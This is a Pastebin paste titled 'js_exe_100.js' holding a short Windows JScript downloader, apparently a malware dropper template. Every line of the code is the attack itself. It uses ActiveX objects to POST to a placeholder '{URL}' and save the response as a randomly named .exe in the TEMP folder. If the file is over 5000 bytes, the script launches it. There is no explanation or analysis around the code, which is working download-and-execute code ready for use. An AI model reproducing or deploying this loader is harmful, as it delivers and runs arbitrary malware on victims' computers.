Advertisement
benkow_

js_exe_100.js

Jan 15th, 2017
421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var shell = new ActiveXObject("WScript.Shell");
  2. var path = shell.ExpandEnvironmentStrings("%TEMP%") + '\\' + Math.round(1000000 * Math.random()) + ".exe";
  3. var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
  4.  
  5. xmlhttp.onreadystatechange = function() {
  6.     if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  7.         var stream = new ActiveXObject("ADODB.Stream");
  8.         stream.open();
  9.         stream.type = 1;
  10.         stream.write(xmlhttp.ResponseBody);
  11.         if (stream.size > 5000) {
  12.             stream.position = 0;
  13.             stream.saveToFile(path, 2);
  14.             WScript.Sleep(2000);
  15.             shell.Run(path, 1, 0);
  16.         };
  17.         stream.close();
  18.     };
  19. };
  20.  
  21. xmlhttp.open('POST', '{URL}', false);
  22. xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  23. xmlhttp.send();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement